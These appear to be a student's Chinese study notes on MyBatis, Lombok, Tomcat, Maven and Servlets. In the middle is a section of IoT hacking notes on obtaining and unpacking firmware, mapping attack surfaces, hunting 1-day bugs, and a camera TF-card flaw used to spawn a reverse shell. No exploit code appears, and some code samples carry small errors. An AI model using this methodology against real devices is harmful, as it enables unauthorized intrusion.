[org.apache.ibatis.transaction.jdbc.JdbcTransaction]-Resetting autocommit to true on JDBC Connection [com.mysql.jdbc.JDBC4Connection@4b2c5e02]
[org.apache.ibatis.transaction.jdbc.JdbcTransaction]-Closing JDBC Connection [com.mysql.jdbc.JDBC4Connection@4b2c5e02]
[org.apache.ibatis.datasource.pooled.PooledDataSource]-Returned connection 1261198850 to pool.

使用方法二(日志级别）：
导入包(不要导java.util的）：import org.apache.log4j.Logger;

1
2
3
4
5
6
7
@Test
public void testLog4j(){
    Logger logger = Logger.getLogger(UserDaoTest.class);
    logger.info("info:进入了testLog4j");
    logger.debug("debug:进入了testLog4j");
    logger.error("error:进入了testLog4j");
}

7、limit使用java传参
UserDao.java

1
List<User> getUserByLimit(Map<String,Integer> map);

UserMapper.xml

1
2
3
<select id="getUserByLimit" parameterType="map" resultType="user">
    select * from user limit #{startIndex},#{pageSize}
</select>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@Test
public void getUserByLimit(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);

    HashMap<String, Integer> map = new HashMap<String,Integer>();
    map.put("startIndex",0);
    map.put("pageSize",2);

    List<User> userList = userDao.getUserByLimit(map);
    for(User user : userList){
        System.out.println(user);
    }
    //关闭SqlSession
    sqlSession.close();
}

7.2 RowBounds分页（不建议使用）
直接封装成方法,不再使用sql语句
sqlSession.selectList()
可以安装各种插件（如PageHelper），也可以用，但是自己无法控制它内部使用的sql语句，限制很多

8、使用注解开发
UserDao.java

1
2
@Select("select * from user")
List<User> getUsers();

mybatis-config.xml(绑定接口)

1
2
3
<mappers>
    <mapper resource="com.kuang.dao.UserDao"/>
</mappers>

UserDaoTest.java

1
2
3
4
5
6
7
8
9
10
11
12
@Test
public void test(){
    //第一步：获得SqlSession对象
    SqlSession sqlSession = MybatisUtils.getSession();
    UserDao userDao = sqlSession.getMapper(UserDao.class);
    List<User> userList = userDao.getUser();
    for(User user : userList){
        System.out.println(user);
    }
    //关闭SqlSession
    sqlSession.close();
}

也可以实现增删改

但是难以解决数据库和实体类名不同的问题！！

9.运行流程（自己总结）：
主要文件：MybatisUtils.java,UserDao.java,UserMapper.xml,UserDaoTest.java,mybatis-config.xml,User.java,db.properties,log4j.properties

（1）主程序UserDaoTest.java实例化MybatisUtils.java
（2）MybatisUtils.java先将mybatis-config.xml加载进类，根据mybatis-config.xml的信息将User.java,db.properties,log4j.propertie,UserMapper.xml这几个配置文件加载进类
（3）主程序UserDaoTest.java利用MybatisUtils.java类中的getMapper方法引入UserDao.java这个接口文件里的所有接口
（4）调用UserDao.java的接口，会访问接口名对应的UserMapper.xml中id相同的项，实现数据库操作

10.Lombok
（1）安装（idea自动安装了）
（2）导入包

@Getter and @Setter
@FieldNameConstants
@ToString
@EqualsAndHashCode
@AllArgsConstructor, @RequiredArgsConstructor and @NoArgsConstructor
@Log, @Log4j, @Log4j2, @Slf4j, @XSlf4j, @CommonsLog, @JBossLog, @Flogger, @CustomLog
@Data
@Builder
@SuperBuilder
@Singular
@Delegate
@Value
@Accessors
@Wither
@With
@SneakyThrows
@val
@var
experimental @var
@UtilityClass
Lombok config system

好处：再也不用写get，set等方法了，直接在class前面加一个注解，类就会自动带有这些方法！！（偷懒专用）
@Data:无参构造，get、set、tostring、hashcode、equals
@AllArgsConstructorer：有参
@NoArgsConstructor：无参

举例：以下两个作用相等！！

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.kuang.pojo;

import lombok.AllArgsConstructor;
import  lombok.Data;
import lombok.NoArgsConstructor;

@Data
@AllArgsConstructorer 
@NoArgsConstructor
public class User{
    private int id;
    private String name;
    private String pwd;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.kuang.pojo;

public class User {
    private int id;
    private String name;
    private String pwd;

    public User() {
    }

    public User(int id, String name, String pwd) {
        this.id = id;
        this.name = name;
        this.pwd = pwd;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getPwd() {
        return pwd;
    }

    public void setPwd(String pwd) {
        this.pwd = pwd;
    }

    @Override
    public String toString() {
        return "User{" +
                "id=" + id +
                ", name='" + name + '\'' +
                ", pwd='" + pwd + '\'' +
                '}';
    }
}

坏处是：代码的可阅读性降低，像是这种插件必须要明白插件作用才能审代码

审代码会变困难，而且可能会添加很多没用的代码（后台），造成代码冗余和内存浪费，感觉和c上来就引用所有库差不多
写的人方便，读和运行的人会麻烦

11.复杂查询环境（一对多，多对一）
略，以后有用再说吧

12.动态sql
拼接不同sql语句：（意味着一般使用mybatis难以出现sql注入漏洞）
https://mybatis.org/mybatis-3/zh/dynamic-sql.html

13.缓存
将内容保存在内存中，直接访问内存进行查询
略，以后有用再说

展开全文 >>

hws线上笔记

IOT
作为设备本身就是个完整的计算机，需要硬件知识

IOT能干什么？
通过外部路由器打进外网，然后拿到小米音响的shell，进而控制台灯、音响、风扇、扫地机器人的开关（补天杯，IOT全场景的破解）
通过云管理平台攻击企业级AP（纯内网，完全ping不通ip）获取SHELL进而渗透
没有钥匙的情况下，黑掉一台车开走（天府杯）（宝骏的汽车，最新版的系统）

什么是IOT？
从设备侧来说：是可以联网的嵌入式设备，就是一个完成的计算机
什么是嵌入式？
从计算机的角度说：就是能控制更多种类的外设的专用计算机

文章/视频推荐
【朱有鹏】嵌入式1.1ARM那些你得知道的事儿
https://www.bilibili.com/video/BV1L4411t7Df?from=search&seid=11271188295963278674&spm_id_from=333.337.0.0

单片机向左，嵌入式向右
https://blog.51cto.com/astonzhu/2061513

站在2018看单片机和嵌入式芯片方案选型和发展趋势
https://blog.51cto.com/astonzhu/2135684

Arduino、arm、树莓派、单片机四者有什么不同？
https://www.zhihu.com/question/21045562
（应用场景不同的计算机）

现在的冰箱：linux，windows，android

（神秘的程序员们）

了解硬件：去玩我的世界，尝试用红石电路的或门与门非门搭一个冯诺依曼计算机出来

什么是固件？
固化在设备上的软件（通常而言指的是Flash中被固化、执行固定功能的软件）
PC上就是BIOS（虚拟机上让选过）
PC主机：
CPU中内存之下还有一块区域，就是BIOS

固件获取：
1.互联网搜索
（1）官网：DNS，路由器，电视盒子
（2）DIY论坛
（3）搜索
（4）渗透
2.获取更新包
（1）触发更新（被动/主动）
（2）更新检测（FTP/HTTP/HTTPS）
（3）下载固件（update，bin）
3.拆设备（360黑客马拉松IoT破解赛，48小时拆各种设备）
认板子，确认哪个是电源模块，CPU，存储器，存储单元，外部I/O设备，调试接口，然后找到Flash，读取（怎样快速认识：芯片上有印字，然后查找）（论坛：家电维修论坛，我爱音频网，恩山无线论坛，什么值得买）
区分flash的类型，找连接方式
读取：编程器（维修行业术语，用于flash读写）（推荐：EZP xpro v2）
固件解包：binwalk，mount
通过熵值来判断是否加密（binwalk）（加密具有更高熵值）
（私货（拉仇恨）：华为大部分都加密，但是小米很多都不加密）

分类截图：

逆向截图：
IDE
分析攻击面：设备对输入进行处理的全流程
输入意味着有接口
处理意味着有逻辑

首先分析有哪些输入：

例：oppo摄像头的TF卡执行漏洞（启动时会读取sd卡，所以在那个路径下挂tf，执行一个反弹shell

嵌入式基本上用c语言（为了效率），为什么不用rust？因为生态没有建好，会c的程序员多

定位程序：找厂商的二进制文件
1.屏蔽操作系统自带的二进制，定位厂商定义的服务
2.开源组件安全，低版本1day漏洞

搜索字符串（非常有用）
递归查找字符串grep -Rn "mqtt" 2 > /dev/null

强网杯 2021 线下 RW Mi Router

展开全文 >>

JavaWeb笔记

听完后的总结：编写javaweb的过程：
1.建Maven项目，引入jar包
2.建Maven的webapp项目，将web.xml的内容更新成固定模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0"
        metadata-complete="true">

    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.kuang.servlet.HelloServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

</web-app>

3.写前端：jsp文件（项目路径：${pageContext.request.contextPath}）
4.写后端：class文件：
先extends HTTPServlet
然后Alt+Ins，重写doGet和DoPost方法（后者不需要的话可以直接调用前者）
在服务端输出用的函数：“sout”
在前端输出：out.write()
更改和查看服务器所发出包的内容（主要是更改）：resp.方法()（get/set/add+……）
更改和查看客户端的数据（主要是查看）：req.方法()（get/set/add+……）
路径：和后面在web.xml注册的路径有关，注册的内容可以当成一个文件来理解其绝对和相对路径，绝对路径是从此项目开始的。
5.注册网页：
在web.xml上写以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!--注册Servlet-->
    <servlet>
    	<!--注册名，可随便取-->
        <servlet-name>hello</servlet-name>
        <!--class文件路径，从java文件往下开始写-->
        <servlet-class>com.kuang.servlet.HelloServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
    	<!--注册名，必须和上面那个一样-->
        <servlet-name>hello</servlet-name>
        <!--访问路径，访问时需要先加上在tomcat里（或创建Maven时）配的这个项目的路径-->
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

6.配置Tomcat
点右上角编辑配置，选择tomcat-本地
填：“名称”“服务器”“默认浏览器”（下面的URL可以参考为路径）“JRE”“端口”
然后必须点“部署”，点“+”，点“工件”，导入对应的war包（很重要！）
点确定，点开始

正片：

1.1 web开发：
静态web：html，css。提供给所有人看的数据始终不会发生变化
动态web：常用技术栈：Servlet/JSP，ASP，PHP。我的理解：不同账号看到的信息不同。

在Java中，动态web次元开发的技术统称为JavaWeb

1.2 web应用程序
web应用程序：可以提供浏览器访问的程序；

1.3 静态web
*.htm、*.htm

缺点：无法动态更新
轮播图：点击特效：伪动态
JavaScript、VBScript
无法和数据库交互

1.4 动态web

2.1 web服务器
ASP：微软：国内最早流行的。在HTML中嵌入了VB的脚本，ASP+COM。在ASP开发中，基本上一个页面都有几千行的业务逻辑代码，页面极其混乱，维护成本高（重构成本高）。C#。IIS服务器。
PHP：PHP开发速度很快，功能很强大，跨平台，代码很简单。无法承载大访问量的情况下（如果淘宝用PHP，双十一一天几亿的并发，秒炸），所以局限在中小型网站（占中国70%左右）
JSP/Servlet：sun公司开发。B/S架构：浏览器和服务器。基于Java语言的，所有大公司，或者一些开源组件，都是用Java写的。可以承载三高问题带来的影响。语法像ASP。

2.2 web服务器
IIS（微软）（Windows自带的和WebLog等）
Tomcat
文件目录：
bin：启动，关闭的脚本文件
conf：配置
lib：以来的jar包
logs：日志
webapps：存放网站
启动、关闭tomcat
startup.bat
shutdown.bat
(有时候会报错没有JAVA_HOME，就现在用户环境下建一个JAVA_HOME，然后在系统变量的Path下放一个%JAVA_HOME%)（或者直接改bat里的路径，但是会影响idea）

3.1目录：
conf：配置
server.xml:服务器核心配置
Connector：改端口（默认8080）
Host（不要碰Engine！）：改name能改访问的域名（原来为localhost），但是并没有改域名解析，所以暂时是无法访问的，可以改C:\Windows\System32\drivers\hosts可以解析上去（phpstudy应该就是这样做的），但不建议。改appBase可以修改网站目录
logs：日志（非常重要，可以看所有的传包的GET传参内容）
webapps：网站目录
ROOT：根目录
WEB-INF：下面有和web.xml。这个是安全目录，客户端无法访问，只有服务端可以访问的目录（可以把很多后端脚本扔进去，防止被访问到）。
访问顺序：如果访问index/这个目录，会先检索webapps目录，如果有index目录则访问其中的index.*，如果没有会检索ROOT目录的index目录
examples：例子目录（有大量源码，用于学习）
docs：tomcat的帮助文档
manager和host-manager：管理页面，需要登录

4.1 HTTP
HTTP/1.0
HTTP/1.1

头部参数（消息）
Accept：告诉浏览器所支持的数据类型
Accept-Encoding：支持哪种编码格式（GBK，UTF-8）
Accept-language：语言环境
Cache-Control：缓存控制
Connection：告诉浏览器请求完成是断开还是保持连接
HOST：主机
Refresh:多久刷新一次
Location：让网页重新定位

200：成功
3xx：重定向
4xx：资源不存在
5xx：服务器代码错误（502：网关错误）

5.Maven
为什么学习这个技术：
1.在Javaweb开发中，需要使用大量的jar包，我们手动去导入
2.如何能够让一个东西自动帮我们导入并配置这个jar包
5.1 Maven项目架构管理工具
目前用来导入jar包
核心思想：约定大于配置
有约束，不要去违反
Maven会规定好你该如何去编写我们的java代码，必须按照这个规范来
5.2安装Maven
下载zip包解压
然后配置镜像（mirror），不然下的死慢
配阿里云，从网上搜maven阿里云镜像，然后把一整格mirror标签扔进mirrors标签里

5.3配置环境变量
系统变量：
M2_HOME maven的bin目录
MAVEN_HOME maven的目录
Path中 maven的bin目录
测试：mvn -version

5.4 本地仓库
新建文件加maven-repo
在settings票签下建一个localRepository标签，然后把路径放进去
更新仓库

5.5 在IDEA中使用Maven
1.启动IDEA
2.创建一个Maven项目

5.6 在IDEA中使用MAVEN
1.启动IDEA
2.创建一个MavenWeb项目（勾选Create from archetype可以使用Maven的模板）
（选中maven-archetype-webapp，点击next，创建组和名，next，path选中maven，finish）
IDEA项目创建成功后，看一眼Maven的配置

5.7 创建一个普通的Maven项目
不勾选，直接走下一步（没有选仓库的位置，容易出问题，要改setting下的目录）

src目录下：
main：
java：放置java源代码
resources：放置配置文件
test：
java：测试使用

刚刚创建的Maven：
main：
webapp：
WEB-INF
index.jsp
所以要在main下加java和resources文件夹，然后标记java为源码目录，就可以创建class文件了，将resources目录标记为资源目录

5.8 在IDEA中配置Tomcat
1.点击右上角的“添加配置”，点击“+”
2.找到并选择Tomcat，用本地
3.名称：服务器启动名称，随便配
浏览器：
JRE：配java环境
端口：Tomcat的端口

底下会报错：未指定应用服务器。
是因为没选择tomcat目录
然后转到“部署”，点“+”，“工件”，新建第一个

4.启动Tomcat

访问端口就会显示index.jsp的内容

5.9 Maven侧边栏
点开右侧的Maven
“生命周期”下是Maven的命令行操作
“插件”：甚至可以删掉
“项目依赖”

5.10 pom文件
pom.xml 是Maven的核心配置文件
Maven版本和头文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?xml version="1.0" encoding="UTF-8"?>
<!--Maven版本和头文件-->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
  <modelVersion>4.0.0</modelVersion>
  <!--这里是刚刚配置的GAV-->
  <groupId>com.kuang</groupId>
  <artifactId>javaweb-01-maven</artifactId>
  <version>1.0-SNAPSHOT</version>
  <!--Package：项目的打包方式
  jar：java应用
  war：JavaWeb应用-->
  <packaging>war</packaging>

  <!--name可删-->
  <name>javaweb-01-maven Maven Webapp</name>
  <!-- FIXME change it to the project's website -->
  <url>http://www.example.com</url>
  <!--配置-->
  <properties>
    <!--项目的默认构建编码-->
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <!--编码版本-->
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
  </properties>
  <!--项目依赖，可删-->
  <dependencies>
    <!--具体依赖的jar包配置-->
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
  </dependencies>

  <!--项目构建用的东西-->
  <build>
    <!--名字可删-->
    <finalName>javaweb-01-maven</finalName>
    <pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
      <plugins>
        <plugin>
          <artifactId>maven-clean-plugin</artifactId>
          <version>3.1.0</version>
        </plugin>
        <!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
        <plugin>
          <artifactId>maven-resources-plugin</artifactId>
          <version>3.0.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-compiler-plugin</artifactId>
          <version>3.8.0</version>
        </plugin>
        <plugin>
          <artifactId>maven-surefire-plugin</artifactId>
          <version>2.22.1</version>
        </plugin>
        <plugin>
          <artifactId>maven-war-plugin</artifactId>
          <version>3.2.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-install-plugin</artifactId>
          <version>2.5.2</version>
        </plugin>
        <plugin>
          <artifactId>maven-deploy-plugin</artifactId>
          <version>2.8.2</version>
        </plugin>
      </plugins>
    </pluginManagement>
  </build>
</project>

Maven的高级之处在于它会帮你导入这个jar包所依赖的其他jar包

Maven由于约定大于配置，所以之后有可能会遇到自己写的配置文件，无法被导出或者生效的问题，解决方案：在build下面加一个resources（可以百度：Maven资源导出问题）

Maven右边栏打开后在最上行有一个“显示依赖项”，点击后可以生成目录的树，直接显示所有jar包的依赖关系（比如一个包出问题了，可以显示会影响到哪些包）

6.Servlet
6.1 Servlet简介
sun公司开发动态web的一门技术
sun公司在这些API中提供了一个接口叫：Servlet，如果想开发一个Servlet程序，只需要完成两个步骤：
编写一个来，实现Servlet接口
把开发好的Java类部署到Web服务器中
把实现了Servlet接口的Java程序叫做Servlet

6.2 HelloServlet
1.构建一个普通的Maven项目，删掉src目录，以后学习就在这个项目里建立Module;这个空的工程就是Maven的主工程（记得先把Maven的目录配置了）
2.导入依赖（百度：Maven Servlet jsp依赖）（Tomcat10+的依赖变为jakarta.servlet）（最好直接去Maven官网搜servlet API，jsp API）（貌似也搜到了tomcat Servlet API和tomcat jsp API）（询问过群里师傅发现，tomcat10是支持Servlet5.0版本的，但是servlet API只到4.0.1，所以只能用tomcat-servlet API）

快捷键：alt+ins：调出重写等选项的框
alt+enter：引入局部变量

3.新建一个module
Maven选webapp

4.编写一个类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
package com.kuang.servlet;


import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

public class HelloServlet extends HttpServlet {
    //重写方法
    //由于GET和POST只是请求实现的不同方式，所以可以互相调用，因为业务逻辑都一样


    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        System.out.println("进入doGet方法");
        //ServletOutputStream outputStream = resp.getOutputStream();
        PrintWriter writer = resp.getWriter();//响应流
        writer.print("HEllo,Servlet");
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        super.doPost(req, resp);
    }
}

5.编写Servlet的映射
为什么要映射？
我们写的是java程序，但是要通过浏览器访问，而浏览器需要连接web服务器，所以我们需要在web中注册我们写的Servlet，还需要给他一个浏览器能够访问的路径（修改web.xml）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
         http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0"
        metadata-complete="true">

    <!--注册Servlet-->
    <servlet>
        <servlet-name>hello</servlet-name>
        <servlet-class>com.kuang.servlet.HelloServlet</servlet-class>
    </servlet>
    <!--Servlet的请求路径-->
    <servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
</web-app>

6.配置tomcat
一定要在“工件”里导入war包！！！（第一次没有这个选项就重启idea）

7.启动测试
如果是tomcat10的话直接用Servlet的api会500，只能用tomcat-Servlet的api（或者jakarta.servlet.api，换名字了）（参考版本对比表）（需要删掉原api，重新调用）https://blog.csdn.net/m0_49500992/article/details/108452815

6.3 Servlet原理

6.4 Mapping
1.一个Servlet可以指定一个映射路径

1
2
3
4
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

2.一个Servlet可以指定多个映射路径

1
2
3
4
5
6
7
8
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello2</url-pattern>
    </servlet-mapping>

3.一个Servlet可以指定通用的映射路径（通配符*）

1
2
3
4
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/hello/*</url-pattern>
    </servlet-mapping>

特例：因为优先级更高，所以会直接覆盖index.jsp（少用）

1
2
3
4
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>/*</url-pattern>
    </servlet-mapping>

4.指定一些后缀或前缀等等（可能会报错，*前面不能加项目映射的路径，包括/,意思是以这个结尾的所有路径）(很多网页都用do，是以前遗留的问题)

1
2
3
4
<servlet-mapping>
        <servlet-name>hello</servlet-name>
        <url-pattern>*.qinjiang</url-pattern>
    </servlet-mapping>

5.重写404页面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;
import java.io.PrintWriter;

//自己写报错页面
public class ErrorServlet extends HelloServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");
        resp.setCharacterEncoding("utf-8");

        PrintWriter writer = resp.getWriter();
        writer.print("<h1>404<404>");

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

web.xml:

1
2
3
4
5
6
7
8
9
10
<!--404-->
<servlet>
    <servlet-name>error</servlet-name>
    <servlet-class>com.kuang.servlet.ErrorServlet</servlet-class>
</servlet>
<!--Servlet的请求路径-->
<servlet-mapping>
    <servlet-name>error</servlet-name>
    <url-pattern>/*</url-pattern>
</servlet-mapping>

（理论上也包含了hello，但是并不影响，因为优先级问题）
6.优先级问题
置顶了固有的映射路径优先级更高（hello），如果找不到就会走默认的处理请求（通配符）

6.5 ServletContext
部署时保证war包只有一个，不然会重新打包一遍

web容器在启动的时候，它回味每个web程序都创建一个对应的ServletContext对象，它代表了当前的web应用
应用：
(1)共享数据
我在这个Servlet保存的数据，可以在另外一个Servlet中拿到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.kuang.servlet;

import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class HelloServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //this.getInitParameter() 初始化参数
        //this.getServletConfig() 配置
        //this.getServletContext() 上下文
        ServletContext context = this.getServletContext();
        String username="scr";//数据
        context.setAttribute("username",username);//将一个数据保存在一个servletcontext中
        System.out.println("hello");
    }

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.kuang.servlet;

import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class GetServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext context = this.getServletContext();
        String username = (String) context.getAttribute("username");
        resp.getWriter().print("名字"+username);
    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

web.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<servlet>
    <servlet-name>hello</servlet-name>
    <servlet-class>com.kuang.servlet.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>hello</servlet-name>
    <url-pattern>/hello</url-pattern>
</servlet-mapping>
    
    <servlet>
        <servlet-name>getc</servlet-name>
        <servlet-class>com.kuang.servlet.GetServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>getc</servlet-name>
        <url-pattern>/getc</url-pattern>
    </servlet-mapping>

(2)配置和调用初始化参数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.kuang.servlet;

import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class ServletDemo03 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext context = this.getServletContext();
        String url=context.getInitParameter("url");//获取参数
        resp.getWriter().print(url);

    }

    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        doGet(req, resp);
    }
}

web.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!--配置一些web应用初始化参数-->
<context-param>
    <param-name>url</param-name>
    <param-value>jdbc:mysql://localhost:3306/mybatis</param-value>
</context-param>

<servlet>
    <servlet-name>gp</servlet-name>
    <servlet-class>com.kuang.servlet.ServletDemo03</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>gp</servlet-name>
    <url-pattern>/gp</url-pattern>
</servlet-mapping>

(3)请求转发(和重定向有区别，url路径没有变，返回值是200，不是300）：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.kuang.servlet;

import jakarta.servlet.RequestDispatcher;
import jakarta.servlet.ServletContext;
import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class ServletDemo04 extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletContext context = this.getServletContext();
        RequestDispatcher requestDispatcher = context.getRequestDispatcher("/gp");//转发的请求路径
        requestDispatcher.forward(req,resp);//调用forward方法实现请求转发，合并：context.getRequestDispatcher("/gp").forward(req,resp);
    }
}
1
2
3
4
5
6
7
8
<servlet>
    <servlet-name>sd4</servlet-name>
    <servlet-class>com.kuang.servlet.ServletDemo04</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>sd4</servlet-name>
    <url-pattern>/sd4</url-pattern>
</servlet-mapping>

(4)读取资源文件
Properties类
在java目录下新建properties
在resources目录下新建properties
发现：都被打包到了同一个路径下：classes，我们速成这个路径问classpath
思路：都需要一个文件流
资源文件：

1
2
username=root
password=123456
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ServletDemo05 extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
InputStream is = this.getServletContext().getResourceAsStream("/WEB-INF/classes/com/kuang/servlet/aa.properties");
Properties prop = new Properties();
prop.load(is);
String user = prop.getProperty("username");
String pwd = prop.getProperty("password");
resp.getWriter().print(user+":"+pwd);
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp)
throws ServletException, IOException {
doGet(req, resp);
}
}

6.6 httpServletResponse
web服务器接收到客户端的http请求，针对这个请求，分别创建一个代表请求的HTTPServletRequest对象，代表响应的一个HTTPServletResponse

如果要获取客户端请求过来的参数：找HTTPServletRequest
如果要给客户端响应一些信息：找HTTPServletResponse

1、简单分类
负责向浏览器发送数据的方法：
getOutputStream()
getWriter()

负责向浏览器发一些响应头的方法：
setCharacterEncoding()
setContentLength()
setContentLengthLong()
setContentType()
setDateHeader()
addDateHeader()
setHeader()
addHeader()
setIntHeader()
addIntHeader()
setStatus()

2.常见应用
1.向浏览器输出信息(略)
2.下载文件
获取下载路径
下载的文件名
设置想办法让浏览器能够支持下载我们需要的东西
获取下载的文件输入流
创建缓冲区
获取OutputStream对象
将FileOutputStraem流写入到buffer缓冲区
使用OutputStream将缓冲区中的数据输出到客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package com.kuang.servlet;

import jakarta.servlet.ServletException;
import jakarta.servlet.ServletOutputStream;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.FileInputStream;
import java.io.IOException;

public class FIleServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        //1、获取下载文件的路径
        String realPath= "C:\\Users\\30389\\IdeaProjects\\javaweb-01-maven\\javaweb-02-servlet\\servlet-03\\src\\main\\resources\\1.png";
        System.out.println("下载的文件路径："+realPath);
        //2.下载的文件名
        String fileName = realPath.substring(realPath.lastIndexOf("\\") + 1);
        //3.设置想办法让浏览器能够支持下载我们需要的东西(百度：web下载文件的头信息https://www.cnblogs.com/huangui/p/12767965.html）
        resp.setHeader("Content-disposition","attachment;filename"+ fileName);
